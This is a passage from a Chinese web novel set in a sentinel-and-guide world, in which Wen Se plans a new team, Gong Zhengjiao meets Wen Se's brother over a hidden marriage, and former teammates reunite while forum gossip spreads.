闻璱的行动力总是很强,隔日就和弓铮皎提交了小队申请。 在线进度更新之后,两人专门去白塔总部,提交完文件。 在这之后,还需要等待好些工作日的核定工作,才能正式进入下一步。 这算是一个“冷静期”,这期间,小队的人事变动还能进行更改、撤销。 正巧接下来要回老家,弓铮皎也戴上了新的电击环,一段时间内无法任务,提前找到人加入也是耽误对方时间——闻璱计画,从老家回来之后,把这些事能都办完就成。 而弓铮皎拈着一张小小的申请回执发票,欣赏了又欣赏,满意得不得了。 他甚至把那张小发票夹进了终端背壳的夹层里,彷佛真的把那当成了结婚申请的回执。 闻璱则拿着终端陷入沉思。 多数特种人都是在圣所接受培训时在同期中组建小队,以至于闻璱“中年”丧队,现在想要组起一个新的小队,竟然有些不知从何下手。 或者该说是,过“严苛”的要求和并不富余的人才市场无法匹配的困境。 闻璱目前对队员的要求首先就是:无队内恋情可能性。 这简单的要求,首先就否掉了不少闻璱现在能联系到的自由人同期,原因无他——都是以前在圣所时就拒绝过的追求者。 而且,也排除了逄靥星和冬歆亭这两个作战能力确实优异的人……闻璱决定实在找不到别人的话,再考虑他俩。 其次,综合评定最低为A,分享小分不能有一个低于A,且具有至少一年的任务经验。 这就直观地又过滤掉不少哨兵,毕竟全A的成绩已经算是优异,这种水平的哨兵很难现在还有剩余。 更别说还要任务经验,闻璱不太想花精力在带新人上。 最后,是一个可以适当放宽对要求:精神体最好是水生动植物或中小型动物。 从上次在污染区单人扫荡抱脸蝎,闻璱就肯定了弓铮皎的作战能力。 所以,既然有弓铮皎这个超强战斗力在,闻璱并不吝于为他而稍微迁就队伍配置,大型猛兽有阿咬一只足矣,剩下的成员侧重灵活性和适应性即可,主要负责作战中配合弓铮皎。 这样想,反而更突出了冬歆亭的竞争力,优秀得罕见的S级向导,精神体也格外灵活敏锐。 但是,冬歆亭来,逄靥星就很大概率也会来。 ……那岂不又成了闻璱最不想看到的情侣档。 弓铮皎说:“我临时有事,一会先送你回去,然后……我要出趟门。可以吗?” 闻璱思路被打断,轻飘飘看他:“当然。什么事?” “呃。”弓铮皎下意识地抿唇,“我不想骗你,但这件事我答应对方不告诉你、不,是等事后再告诉你了。” 见闻璱笑而不语,既不顺着说“好”,也不追问阻拦,只是微笑,弓铮皎心里扑通扑通,当场倒戈。 但他也没有直说,只是清了清嗓子,然后从喉咙中仿真出很沉闷的“呜嗷”声。 绝大多数的熊都是这么叫的。 闻璱:“……”现在他知道是谁了。 闻璱直接道:“他告诉你我小时候的事,现在,又想让你帮他吹枕边风了?” 话音未落,弓铮皎倒吸一口凉气:“枕边风!他是这么看我的吗?” “太有眼光了。”他接着说,“我得给他带个礼物。” 闻璱:“……” 最后,弓铮皎还是先把闻璱送回家,然后又从自己的珠宝收藏里精挑细选,最终胜出的是一颗既不能用来代餐闻璱、也不能让闻璱戴上代餐自己的祖母绿色翡翠。 临出门前,闻璱提醒:“你最好别告诉他真实价格,不然他不会收。” 于是,在咖啡馆的静音包间见到逄靥星后,弓铮皎的第一句话是:“地摊买的,送你了。” 逄靥星:? 逄靥星接过宝石盒子,先是被上面的香味激得呛了一下,忍不住道:“这什么味?你一个哨兵还喷香水?” “护手霜而已。” 打开盒子,逄靥星又是一番大惊失色:“地摊上把啤酒瓶底子削成这样卖?” 弓铮皎理直气壮:“对。” 逄靥星丈二和尚摸不着头脑,也没贸然收下,琢磨着开启话题:“之前,我给闻璱打电话说结婚那事的时候,你是不是跟他在一起?” 弓铮皎点头:“对。他去污染区採样,想排查你溺水的原因,是我陪他去的。” 闻言,逄靥星有些怅然道:“辛苦你了,我……唉。” 如今一回想这前后发生的事,逄靥星也觉得自己这份欺骗实在太伤人。 弓铮皎静静地看着他面露悔过,问:“那结婚的事,你为什么只瞒着闻璱?” 逄靥星辩解:“我没有只瞒着他,说实话,除了我们妈之外,我谁都没说好吗?是有人户籍办公室有人徇私,偷拍了结婚证发论坛上,我才暴露的。” 只是时机实在不巧,才显得像是专门瞒着闻璱。 顿了顿,逄靥星突然话锋一转:“不是,难道你不懂吗?就这种做了错事,虽然最终结果是好的,但还是怕被家长教训的感觉……” 弓铮皎眨了眨眼睛:“不懂。但如果你是怕被闻璱教训的话……” 他没体会过寻常家庭里的感情和权力关系,但对闻璱还是颇有些见解,继续道:“那你真是身在福中不知福了。” 天地良心,论坛上到处都是伪装成义愤填膺,实则求闻璱联系方式的阴险哨兵,要是放出闻璱要教训人的消息,别说这帮人了,弓铮皎自己要先重金买断教训管道。 逄靥星震撼:“什么玩意?我是认真的——唉,实话告诉你吧,其实……” 他张了张嘴,只有几不可闻的气音出来。 但弓铮皎听清了,他说:“其实我和歆亭一开始是……是一夜情,后来一来二去的,才谈上。” “啊?”弓铮皎惊了一下,但也只是一小下,很快就恢复莫名其妙,“所以呢?” “所以?这还用得着所以吗?”逄靥星低声道,“闻璱要是知道我玩得这么花——不是,我根本没玩什么。但闻璱要是知道我身上发生这种事,对象还是小队里的另一个向导,他——” 他把两只手握在一起,做了个打保龄球的动作,“他会用精神力当棒球棍,拿我的头练习全垒打的!” 弓铮皎摸了摸下巴,说实话,既不明白逄靥星的动作和语言为什么不相符,也觉得这没什么可怕的。 被闻璱打的话……倒也不能算是纯粹的打,尤其还是精神力殴打,那更是疼痛里夹杂着安抚,令人上瘾。 “那你后来也一直没说。”弓铮皎道。 “因为……因为我们很快就闪婚了,确实是很冲动,但是感情的事你懂的,这一切发生的太快了,我真的不敢跟闻璱说啊!”逄靥星道。 “为什么?”弓铮皎又不懂了。 “不是,你是故意的吗?”逄靥星抓狂了,“闻璱是什么人,你不知道吗?他保守得连我们妈都害怕哎!” 弓铮皎茫然地重复:“他很保守?” “他超保守,我的天。”逄靥星开始翻旧账,“他这个人连我都避嫌,两岁之后我们俩甚至没有用过一个盆洗澡了;三岁他甚至不让我跟他睡一张床;五岁我穿一件他的夏衣,他立刻说他不要了送给我。后来我们一起去圣所,体能训练时,我的水喝完了,渴得不行,喝了一口同期向导的,他骂了我两小时,说哨兵向导授受不清,说我不自爱——还不是因为他的水不给我,不然我用得着找别人吗?” “你别说他。”弓铮皎皱眉,“而且,闻璱只是喜欢干净,是你太没边界感了,你确实应该反思。” “是,他是有点洁癖,精神洁癖也是!”逄靥星说,“水盘村往前数五十年的坟头,都挖不出能和他相比的老古董!以前在圣所,想通过我来追他的哨兵实在太多,有一回我实在忍不住了,问他为什么不谈一个试试,你知道他说什么吗?” “他竟然跟我说,他这辈子只要有一段感情经历,他只会和想要结婚的人有亲密接触,而反面教材就是我——因为有一年联欢活动玩游戏,我输了,被惩罚喂一个向导吃能量棒,这证明我不自爱。拜托,那只是一根能量棒而已哎!” 他说着,沉寂多年的怨愤似乎就这样被唤醒,一拍桌子道:“我现在买一根喂你吃,你好好说暧昧不暧昧!” 弓铮皎立刻谢绝:“不行,我会吐。说实话现在这个距离你已经有点冲到我了,收收味。” 逄靥星深呼吸几口气,故意折磨自己一般地深呼吸一口,想用自己什么也没闻到来回击弓铮皎。 却没想到,他原本还没觉得有什么,这猛然一吸,密闭空间里,他竟然隐隐闻到一丝微妙的香气。 只可惜,再专心去嗅闻时,那丝香气也消失得无影无踪,似乎只是他的错觉。 逄靥星长舒出一口气,苦口婆心道:“你说你有一个这样的朋友,啊不,法律意义上他还是我哥,占据长辈的制高点——你酒后乱性、你闪婚,就算只是意外,你敢说吗?” 弓铮皎:“……我不会让自己发生这种意外的。” “对对对,就是这种语气。”逄靥星拧着眉毛,“你怎么学闻璱那么像?我要是这么说,闻璱肯定就这么训我,然后再揍我。” 弓铮皎:“……” 逄靥星继续道:“所以说,事情刚发生的时候,我自己也一团糟,就没敢跟他说。后来呢,又不知道该从哪里开始了。” “不过,我本来确实计画这段时间就跟闻璱坦白的。”逄靥星无奈地摊了摊手,“没想到一出来我哑巴了,结果闻璱进污染区,这期间被爆了,我也没办法。” 弓铮皎瞭然地点了点头,问:“所以你找我是想问什么?” 逄靥星便试探道:“你和闻璱现在到底是什么关系,你……追到了吗?” 弓铮皎忍不住弯了弯嘴角:“没有。” 逄靥星:“……那你笑什么。” 弓铮皎心道,呵呵,你不懂。 保守好,保守妙,如果闻璱只会跟考虑结婚的人有亲密接触和感情经历——那毫无疑问,弓铮皎自认自己的起跑线已经远超别人。 看着逄靥星,弓铮皎心中已油然而生一种在他哥哥的朋友和预备配偶之间游走的长辈自觉。 “你别太八卦。”他苦口婆心。 逄靥星:“……” “行吧。”逄靥星不想再听说教,直说道,“你帮我试探试探闻璱对这些事的态度,我怕一次性全告诉闻璱,他真的会把我抽死,你给他做点心理预期,这样我才好坦白。” “比如说,你今晚就跟他聊——婚前性行为对新时代青年的必要性。” 第62章 我们是在艾斯艾姆酒吧约炮认识的。 “婚前性行为对新时代青年的必要性?” 弓铮皎像无法通过图灵测试的AI一样,机械地回答:“没错,只是问问。” 闻璱喝水的动作一顿,有些不敢相信自己的耳朵:“你们一早上就聊这个?” “……没有。”弓铮皎心虚又诚实地说,“除了这个之外,还聊了点你以前的事,然后我又问了问他,回你老家有没有什么需要注意的事,以及……应该给你妈妈带点什么样的礼物比较好。” 闻璱道:“好吧。那你准备送我妈妈什么?” 问出这问题时,闻璱其实已经有些猜测,他想,以弓铮皎的喜好,大概会给闻母也准备珠宝首饰,或许附带漂亮的丝巾,尽显潮男本色。 没想到弓铮皎打开终端,给闻璱展示一个聊天页面。 闻璱一看,深深地震惊住了:“一辆搭载智能系统的最新款拖拉机?!” 弓铮皎煞有介事地点了点头:“我真的认真挑选了,可以吗?” 他心里还有些忐忑,庆幸自己幸亏跟逄靥星打听了一下,否则又闹笑话不要紧,让闻璱不开心就不好了。 至少在人生的前二十多年,弓铮皎在训练课程、污染区、委托任务中吃过苦,却完全不了解乡下生活该是什么样。 闻璱说家里是种地的,弓铮皎脑袋里立刻浮现了一些画面,还是许多年前的刻板印象:黄土、火炕、带着草帽的朴实农民。 但逄靥星说:“首先南方没有土炕;其次我们只是乡下,确实有山,但不是你想像的那种贫困山区;最重要的是,现在是现代化农业,闻璱家更不是你想像的那种贫困户。” 然后弓铮皎看了逄靥星以前拍的老家照片,陷入漫长的沉默。 和弓铮皎想像里那个靠助学金省吃俭用,在苦难里长大的可怜孩子不同,闻璱家不至于是水盘镇首富,起码也是生产大户,家里有个漂亮的四层自建房,带一个精致的小院。 闻母更操持一个占地面积不小的现代化果园,前几年还张罗着想盖大棚。 闻璱和逄靥星之所以曾是文盲,也是特种人相关知识的文盲,因为镇上以前没有特种人,他们都在普通人小学念书,并非因贫困落后而逃离义务教育。 逄靥星锐评:“你也不想想,闻璱那些洁癖和强迫症,是贫困山区能养出来的吗?” 弓铮皎:“也是。” 所以他思索再三,选择了一款最顶级、最高档、也最昂贵的,农用拖拉机。 闻璱很慢地眨了眨眼睛,不得不承认:“你送这个,我妈绝对会喜欢到想收你当第二个干儿子的程度。” “真的?”弓铮皎立刻兴奋了,“那如果是儿婿呢?” “那她的意见没用。”闻璱微微一笑,“我的才有。” 而他不会因为有人讨母亲欢心就交付自己,只会因为有人惹母亲厌恶而考虑疏远距离。 弓铮皎干笑了两声:“哈哈,是哦。” 他也反应过来自己的试探既不合适,也操之过急,不由得沉默下来。 只是比起素未谋面的闻母,比起任何人来说,闻璱似乎更难讨好。 在正式认识前,弓铮皎就阴暗地偷窥多日,但相处至今,他仍然很难摸透闻璱的心意。 看起来闻璱没有什么特殊的爱好,任何运动和休闲活动,闻璱都擅长却不沉迷;抽象些的艺术领域,闻璱干脆直言不懂;就连逄靥星都说,闻璱从小到大,都像是个六边形战士,连喜好方面都让人查找不到任何切入点。 唯一让闻璱长久追求的,似乎就是钱——接任务、刷分、接私活,最终都指向挣钱。 这本该是最容易讨好,也是弓铮皎最轻松的领域。 但如果闻璱真的爱钱就好了。 闻璱最急着挣钱的时候,明明也只是为了治病。 如果说苍蝇不叮无缝的蛋,闻璱还真就是那颗颜色、线条、比例都完美无缺的蛋。 弓铮皎就算是大力水手,握着这颗蛋握得手抽筋,最终还是束手无策。 好在弓铮皎多少摸索出了一点点技巧。 他靠近闻璱,用尾巴悄悄绕上闻璱大腿,装可怜道:“我是不是又说错话了?” 不得不说——闻璱好像还是有点爱撸猫的,尤其是大猫,弓铮皎觉得,阿咬本体出来的效果可能更好,可惜现在还戴着电击环不方便。 闻璱垂眸看他毛茸茸的大尾巴,果然伸手捏了捏:“你知道你说得不对,也知道,我没有生气。” 弓铮皎便立刻顺杆爬:“那你能告诉我,我做点什么可以让你更开心吗?” 紧跟着两声:“汪汪。” 只需稍微拟态融合,甚至不会惊动电击环的警报,声带就在口技上显出天赋异禀,弓铮皎现在仿真各式大小型犬类动物都栩栩如生。 闻璱已经麻木了:“我再说一遍,你这是奖励自己……” “嗯,奖励自己开心,因为你开心我就开心。”弓铮皎说,“每次我对你‘汪汪’的时候,你的接下来两次心跳都会稍快一秒。” 他觉得闻璱其实还有点傲娇,因为他话音未落,闻璱的心跳又快了半秒。 但下一秒,他自己的心就停跳了。 闻璱蓦地偏过脸,用鼻尖轻轻刮了一下他眉骨。 得益于弓铮皎轮廓立体,眉骨很高,动态视力又极佳,这很短暂的瞬间在弓铮皎眼里如此清晰。 是闻璱突然靠近的下半张脸,漂亮的下巴,浅粉的嘴唇——好近,但又正好在足以对焦的距离。 他几乎觉得闻璱吻过他的睫毛。 “那你知道,我现在的心跳是不是也快了一秒呢?”闻璱说。 “我……”弓铮皎又觉得眼前被腻住了。 “再对我汪汪叫的话,我也要改变对你的策略了。”闻璱退开,用指尖若有若无地点过弓铮皎的眉毛,是刚才闻璱用鼻尖碰触过的位置。 他做了个口型,声音很轻,连自己都听不太清,但弓铮皎可以:“你更想被我叫狗狗,还是……哥哥?” 说完,闻璱端着那杯水,转身去了沙发上。 弓铮皎觉得又有什么不对劲了,奇怪,明明那天共度了半个夜晚之后,他再也没有像以前那样代偿过。按照闻璱的建议,他一直在用护手霜来脱敏。 但在刚才的那一刻,失散不久的香气卷土重来,一瞬间就推平了弓铮皎的理智防线,比最新款农用拖拉机播种还快。 “我,我好像又代偿了。”弓铮皎跟着闻璱一路在沙发边坐下,喃喃解释,“刚才我又闻到向导素一般的香气了,我不知道是不是……” 闻璱正拿终端发消息,闻言,连眼皮也没抬一下:“不是代偿。” “那要不……要不再来一下,让我再感觉一下?”弓铮皎图穷匕见。 闻璱眉头微挑,含着一丝很淡的笑意瞥他一眼,快如蜻蜓点水。 “怎么不学狗叫了?” 弓铮皎硬着头皮说:“你说的对,我以后都不学了,还是要有点哥哥的样子,毕竟我比你大两岁呢。” “好有觉悟。”闻璱赞赏,“但我现在改主意了,我更想要狗狗,怎么办?” 弓铮皎感觉自己已是闻璱手心里的橡皮泥,被搓扁揉圆成任何模样,都只知道粘在闻璱指间。 他立刻张嘴,正要“汪”出声,却又被闻璱眼疾手快地掐住下颌,不得不张开嘴。 闻璱双眼微眯:“才发现,什么时候把止咬器又戴上了?还有这颗酸弹。” 不仅如此,似乎还是升级版的止咬器,锁链和链扣都更加隐形,以至于闻璱昨天一整天都没发现。 弓铮皎被他捏着舌头,话音含糊:“在小黑屋,大概是叔叔那边的要求吧。” 闻璱用指尖勾了勾那两条锁链,扯得弓铮皎急促地哼了两声。 他有些不爽于弓铮皎的听话:“让你戴,你就戴?” 弓铮皎却用舌尖舔舐他手指,还得意地哼笑了一声。 “新的链子更漂亮,我想……这会让你更喜欢玩我。” 闻璱扬了扬眉毛,不置可否。 他的比格猫学习能力强得超乎想像,在试探喜好、哄人开心这一点,越来越开始有抚慰犬的风范了。 他松开手,起身去洗手间清洗。 弓铮皎又一路跟进了洗手间,惦记着答应过逄靥星的事,把话题拉到了最初的起点:“那个,之前问你的那个话题,你有什么看法吗?” 闻璱才想起来那个莫名其妙但又有迹可循的问题:婚前性行为对新时代青年的必要性。 他动作一顿:“没什么看法。” “什么都没有?”弓铮皎愣了。 “嗯。”闻璱平淡道,“我又不是新时代青年,不关心婚前性行为对新时代青年的必要性。” “你为什么不是?”弓铮皎不懂。 “联合国规定,15-24岁才算青年。”闻璱道,“我26,你28,我们都算中年人。” 弓铮皎千想万想,没想到原因是自己就这样超级加辈了:“……你怎么能算中年人,你还年轻得很。” 但他还是勉强地继续问:“那作为中年人,你怎么看待你的后辈、小辈发生婚前性行为呢?” 闻璱便微微一笑:“看来逄靥星有婚前性行为了?他不敢直接告诉我,大概还是于公序良俗上不那么占理的意外性行为?一夜情还是酒后乱性?” 弓铮皎:“……我就知道,根本不可能在你眼前耍小聪明。” 顿了顿,弓铮皎又突然说:“这么一想,我以前也太惹人烦了。” “?”闻璱不明白他为什么突然提起这个,且如此有自知之明。 “我说你不自爱……”弓铮皎可怜巴巴地看着他,“但我当时其实不是这种意思,我只是每天看你早出晚归,觉得你工作太拼了,这样对身体不好。” 这话唤醒了闻璱很久很久以前的记忆。 那时候也是小黑第一次出现,在阿咬的瞳孔倒影里。 如今想来,闻璱竟然觉得兜兜转转地又回到了那个猜想——如果“代偿”的思路没错呢? 是因为他的精神体比他更快地明白了弓铮皎这份关怀的心意,所以才会出现……这会是一种求救吗? 精神体是特种人精神世界的投射,闻璱从来没想过,原来自己心底里,也有从来没有被看清过的欲望和诉求。 原来自己也真的,从某种意义上,不那么爱惜自己的身体吗。 “弓铮皎。”闻璱突然唤了一声,接着正色看他,“我可以回答你这个问题,让逄靥星对你加倍信任,但你确定吗?” “你确定,在我们即将一起回去的家里,你要选择夹在中间,或者跟他一个阵营,而不是站在我的身边?” 本就没有多坚定意志的弓铮皎当场倒戈:“我要怎么做?” 闻璱这才道:“好乖。” “你等回老家了再回答他,就说……”闻璱话语一顿,“我不反对婚前星行为,并且,我们是在艾斯艾姆酒吧约炮认识的。” “真的?”弓铮皎眼神都发光了。 然后收获了闻璱“我就知道是这样”的眼神洗礼。 “呃,我就问问,没有任何肖想和企图。”弓铮皎连忙找补,“我知道你肯定是为了诈他,但是我就问问,没有别的意思,单纯的随口一问——真的吗?” “当然是假的。”闻璱面无表情,“都是。” 第63章 CRUSH是高岭之花。 论坛热帖:【震惊!昨天有没有人在xx哨兵咖啡啊,某熊和饺的私会!】 【背景是楼主家和某熊家在一个小区,在健身房偶遇过某熊几次。虽然说不上熟吧,但熊帮楼主归位过几次哑铃怎么不算点头之交呢……不过之前那个爆炸性隐婚新闻传出来之后就没再见过某熊了。】 【总之这一天,楼主晨练之后照例去健身房楼下的哨兵咖啡买冰美式,没想到看到了某熊出没!楼主本想打个招呼,顺便吃吃瓜,但某熊鬼鬼祟祟地直接遛去包间了,这就算了。】 【但震惊的是,过了一会儿楼主居然看到某不可言说之饺也出现在咖啡厅,而且进了同一个包厢!!!家人们告诉楼主是不是无意间发现了年度哨向大瓜的最新展开?!】 弓铮皎看到这个帖子的时候,回帖已经显示999+,风向已定,堪称无力回天。 他匆匆扫了几眼,大多数都是认为逄靥星果然搅合在婚外情里,代著名捞男w什么s出面与天龙人弓大少爷交涉求和。 并且,还顺带让论坛网友复习了一下,因为没有后续,在前几天终于沉底的【劲爆!警卫部一大早把闻璱工作室给堵了!某捞男事件又有新情报?!】。 就这样,某饺和px的兄弟情真好啊,又被call back了三轮又三轮。 弓铮皎花了很大力气才忍住没有去澄清解释——他试图学习闻璱,对网络上的一切声音表达忽视。 但他发现沉默换来这样的结果之后,不得不承认,他在这方面的心理素质是比闻璱稍逊一筹。 不,或许是很多筹。 他沉默了一会,切回聊天框。 天空中最亮的星:【现在最要紧的是不能让闻璱看到这个帖子,知道我们私会过,不然你替我打探的事肯定就暴露了!】 弓铮皎在心里默哀:弟弟你好天真,根本不用这个帖子,闻璱已经完全看透了。 天空中最亮的星:【你为什么不说话?别告诉我你已经用大号回帖了!】 大猫骑士:【没有。】 大猫骑士:【闻璱不让我乱说话。】 弓铮皎其实也快烦死了。 说闻璱和自己有仇也就算了,不是不能拐弯抹角地品一口“宿敌变情人”、“论坛上那些人知道我们私底下这么爽吗”。 但是,说彭枭和自己很铁,那真是奇耻大辱,恶心到弓铮皎很想再把彭枭拎出来再揍一顿,然后在彭枭的惨样旁边比个耶拍照取证,发论坛澄清。 他放下终端,强迫自己把注意力放回眼前的事上:他正在玩小黑。 自从那天之后,小黑再也没有隐身过,彷佛闻璱的病症莫名其妙就这样康复了。 唯独闻璱一要去医院,这只狂野天鹅就一飞二叫三扑腾,闻璱拿它没办法,也有些心有余悸,只能任由它这样继续存在。 于是,顶楼的浴池就这样成为了小黑的专属泳池,弓铮皎最近宅在家的人生乐趣就是在这里放小黑游泳,自己则充当紧急救生员。 他把小黑从水里捞出来揣在怀里摸了摸,小黑亲昵地把脖子搭在弓铮皎锁骨上绕了一圈——它似乎很喜欢这个动作。 弓铮皎立刻拿出终端自拍,随口道:“亏你以前还咬我呢……我要给你做个电子手帐。” 话音刚落,闻璱的声音传来:“可以。” 弓铮皎回过头去,只见没过几秒,闻璱的身影出现了。 但因为没有换浴室拖鞋,闻璱只是抱着胳膊站在门口:“做好了给我看看。” 说着,闻璱也拿起终端,对着弓铮皎和小黑“咔擦”一张。 常规情况下,精神体、精神力和精神污染都不能被相机改采集,但现在,小黑的波段被闻璱彻底开放由它自己做主。 于是,快门按下的一瞬,终端的相册里就这样出现了弓铮皎把天鹅脖子当围巾戴的影像。 闻璱被逗得忍不住笑了一声,立刻又拍了几张。 弓铮皎很配合,立刻像带货主播一样,开始全方位展示小黑,还上道地口播起来:“正版全新无瑕小黑,手慢无,不过手快也无,主播要自留的,不出,就是炫耀一下。” 闻璱眼疾手快地把这一段录了下来。 人玩猫,狗玩鹅。 放下终端,闻璱对弓铮皎说:“我现在让你说话了。” 弓铮皎还没反应过来:? “论坛上的事,你想说什么就去说吧,胡说八道都行。”闻璱道,“不过,关于我接私活这事先别提。” 他想通了一件事——接下来很可能还会做比接私活更违规的事情,和白塔之间的关系会怎样还未可知,现在还不好说至不至于破罐子破摔。 弓铮皎明白他的意思,但还是有些大仇得报的感觉:“我此身终于要分明了!” 他一边揉捏小黑,一边把终端切到论坛,恨不得能全论坛推送对彭枭的恶毒人身攻击。 然而未认证小号一天最多只能发五条回帖,他正要切回大号认真地遣词造句,准备一道振聋发聩的檄文,手指却渐渐慢了下来。 闻璱已经下楼了。 弓铮皎心里莫名飘起来——胡说八道都行? 他忍不住跟闻璱再次确认:【真的胡说八道都可以?我不会造你的谣!】 AAA拔牙小鸭:【嗯。】 弓铮皎心脏扑通扑通,立刻握着终端和小黑的脖子开始编辑帖子。 楼下的闻璱也没太放在心上,他以为弓铮皎大概会添油加醋骂两句彭枭,再随便暗秀点有的没的,这都不要紧。 他这几天一直忙于研究。 希冕创辉一定有什么秘密,柳部长不肯说,闻璱就只能自己钻研。 但检查报告和数据实在没能发现任何异常,又没有任何专业系统的支持,闻璱只能使用最原始的办法建模,效率低得令人发指。 但好歹有了新的发现。 三年前,弓铮皎应该正处于病情愈演愈烈,但尚未被告知没救的阶段,这份数据正是某次弓铮皎在小黑屋被自己揍晕之后,精疲力竭的情况下被采集。 数据建模后得到了一个惊人的结果:休眠期间,弓铮皎的精神力竟然在熵减。 通常情况下,哨兵生活中获得的巨量信息无时无刻不在带来一种熵增,向导安抚和摄入向导素,就是最有效的通过外部能量输入进行熵减运动。 但对于已经失控到在小黑屋的哨兵来说,外力的效用已经微乎其微,哨兵实质上是在极端环境中自发进行精神力的重新梳理,存活率并非100%,康复后也可能会影响精神力功能,因此,才需要戴上电击环进入监控期。 而弓铮皎的精神力波动为什么会恰恰相反? 闻璱立刻意识到,弓铮皎第一次产生向导素代偿反应就是那时。 因为他用一块冰润了弓铮皎干裂的嘴唇,弓铮皎便把那当做荔枝糖,记了很多年。 如果这就是那个被输入的外力呢? 一块冰,甚至是一滴水? 闻璱实在想不通。 说到水,他又转而将注意力放在另一件事上——导致自己和逄靥星干性溺水的根源。 许多细节性的记忆已经模糊,闻璱翻阅任务记录,终于查找到了一个或许有些牵强的共同点,那就是几次溺水发生的前后几天内,当事人都经历过酸雨。 但是在污染区这么个天天下酸雨的地方,也很难有哪一趟任务能够全程不沾酸雨。 ……总感觉处处不对劲,但又说不清问题究竟在哪里。 闻璱在白塔做研究时,主攻的方向是精神力仿真和运用,而这方面的研究离不开各类专业设备。 如今两手空空,闻璱也有一种巧妇难为无米之炊的无奈感。 或许只能期盼,或许在水盘镇,在逄婆婆的遗物中能查找到新的线索。 把猜想和思路记录下来后,闻璱思索再三,隐去关键信息,将一些情况发送给一个很久没有联系过的人。 与闻璱和权冽的关系类似,和这个前队友银环蛇哨兵舒颖的关系似乎还要更生疏一点,因为她的闲话真的太少了,彷佛完全割舍了这部分功能。 但舒颖曾经在圣所时理论课成绩十分优异,小队解散后,她在白塔污染生物研究院入职,从事研究工作。 聊起专业内容,舒颖的话通常会指数级增长。 消息刚发出去,还没得到回覆,终端就“嗡嗡”震动起来,弹出一个来电。 又是逄靥星。 接通之后,那边的环境有些嘈杂,逄靥星在乱七八糟的背景音里说:“闻璱?你在哪?在皎哥家吗?我能不能去找你?” 闻璱合上笔记,眉心微蹙:“怎么了?” “呃,我有点事,不对,是权冽有事想找你。” “权冽?”闻璱道,“我们最近没有联系,她怎么了?” “这个事情很大、很大,事关人命,所以,我们能不能见面再说?”逄靥星语气为难。 帽子这么大,闻璱只得暂且应了,再上楼找弓铮皎商量。 弓铮皎说:“没关系,不用去你工作室,你们在楼下聊,我就不下去了。” 闻璱道:“好。” 然而,闻璱眼尖地瞧见,弓铮皎的终端上密密麻麻的全是字。 偷窥他人隐私其实有些没品,但闻璱还是忍不住问:“你有这么多话想说?都是骂人的话?” 弓铮皎对彭枭和网友的怨念这么大吗? 弓铮皎惊呼:“怎么可能?我一个字都没浪费在骂他上!” 他生怕这误会让闻璱觉得他心眼小、记仇、粗俗,当即揣着小黑冲过来。 一开始急于自证清白,脚步快得毫无迟疑,可近到了闻璱面前,他突然减速,神情也多了几分忸怩。 闻璱:? 弓铮皎又确认了一遍:“你说我胡说八道也可以的,更何况我没有胡说八道,我句句属实!就是……就是……算了给你看吧。” 闻璱结果终端一瞧,顿时陷入久久的失语。 弓铮皎确实编辑了一个好长、好长、好长的帖子,但那帖子和辱骂彭枭毫不相干,而是—— 【CRUSH是高岭之花,记录和他同居的日常】 闻璱:“……” 第64章 放猫咬你。 如弓铮皎所说,这帖子内容倒确实没有造谣,只不过…… 闻璱垂眸浏览,随便捡了一段念道:“……和crush正式认识的前一天,我就用金钱侮辱了他的人格,他退了回来,却丝毫没有生气,只是对我说‘没关系’。那一刻我就知道,他高洁的灵魂不容金钱玷污……” 他念不下去了。 闻璱张了张嘴,有些艰难地说:“这是谁?” 他横看竖看都看不出这字里行间描述的是谁,总不能是自己。 “你。”弓铮皎一本正经,“我给你转账,你没收,还对我说‘谢谢’、‘没关系’。” 闻璱:“……那你现在应该发现,我的灵魂很容易被金钱玷污了。” 他自然后来伸手要钱的时候,可是一点都没有手软过。 弓铮皎一脸震惊:“哪有?” 闻璱:“……” 但他转念一想,弓铮皎的胡言乱语确实是很胡言乱语,就算发出去也不会怎样。 至少按照闻璱网上冲浪的经验,这种帖子很大概率都不会有人点进来看,似乎也可以随他去吧。 他把终端还给弓铮皎,转身回去继续研究模型了。 正好,没晃悠几圈,门铃响起,逄靥星来了——和冬歆亭、权冽、银环蛇哨兵舒颖一起。 闻璱这回是真的有些愣住,因为他上一秒才在给舒颖发消息,且这几乎像是前小队解散后的聚会,只有闹得格外抹不开面的彭枭和金狮哨兵不在。 而几人纷纷进屋,与他打招呼的瞬间,他敏锐地察觉到不对劲的细节。 “你怀孕了?”闻璱有些惊讶地看向权冽。 权冽叹了一声:“就知道瞒不过你。好吧,确实如此,我退出小队也是这个原因,因为我打算备孕、结婚了。” 闻璱下意识注意到了她的用词顺序:先备孕,后结婚。 他忍不住问:“那你的配偶……” 原本,只是想用“配偶”二字试探权冽究竟有没有登记结婚。 没想到舒颖幽幽道:“是我。” 闻璱:“……” 面面相觑里,逄靥星得意道:“我就说这小队里怎么可能只有我一个人隐婚,待会我要去查查老花……”老花就是闻璱以前小队里的金狮哨兵。 冬歆亭连忙捏了一下逄靥星手臂,示意他闭嘴。 这些年,闻璱和权冽、舒颖两人的关系都说不上很近,得知这件事对闻璱倒说不上什么打击,他只是有点费解:“恭喜你们。不过,之前从来没听你们说起过。” 权冽平淡道:“谈恋爱的事,有什么好跟你聊的。之前没说是因为,”她看了一眼舒颖,“我们还没登记,打算正式登记了再通知你。” 闻璱:“……” 逄靥星夸张地作出替闻璱顺气的动作:“呼吸!闻璱!只是未婚先孕而已!别忘了呼吸!” 闻璱直接无视他,对权冽、舒颖真诚道:“那提前祝你们新婚快乐。” 权冽应了一声就不再寒暄,直入正题:“谢谢。不过舒颖收到你消息的时候,我们正好在小胖家探望他。舒颖确实有些情报,所以我们就直接来了。” 逄靥星插话:“你不关心她俩为什么在我家吗?” 这话一出,权冽和舒颖都有点无语地瞥他,权冽道:“小胖你能闭嘴吗。” 而舒颖则从手提袋里取出电子笔记递给闻璱,解释道:“污染生物研究院有很多希冕创辉的项目,但几年前,有一个重大项目被叫停了,同时封锁了一系列相关课题,其中正有我最感兴趣的课题,有关于酸雨的。但取而代之的,星海能源似乎接手了套皮版的这个项目。” 信息量太大,闻璱惊讶:“星海能源?和希冕创辉?稍等,你介意多一个人旁听吗?” 酸雨暂且不说,能源行业的领军企业,怎么会和生物科技寡头挂上关系?更别说,现在希冕创辉的那位大少爷就在楼上。 好在,闻璱不需要上楼去叫人,只用跟眼前几人商量好,耳力过人的弓铮皎自然会主动下来。 弓铮皎出现的时候还是抱着鹅,小黑沉迷把脖子挂在弓铮皎肩头睡觉。 威名在外是一方面,哨兵之间互相的感知是另一方面,加上不是在和闻璱两个人的私下场合,弓铮皎面上没什么表情,看起来还真有点唬人。 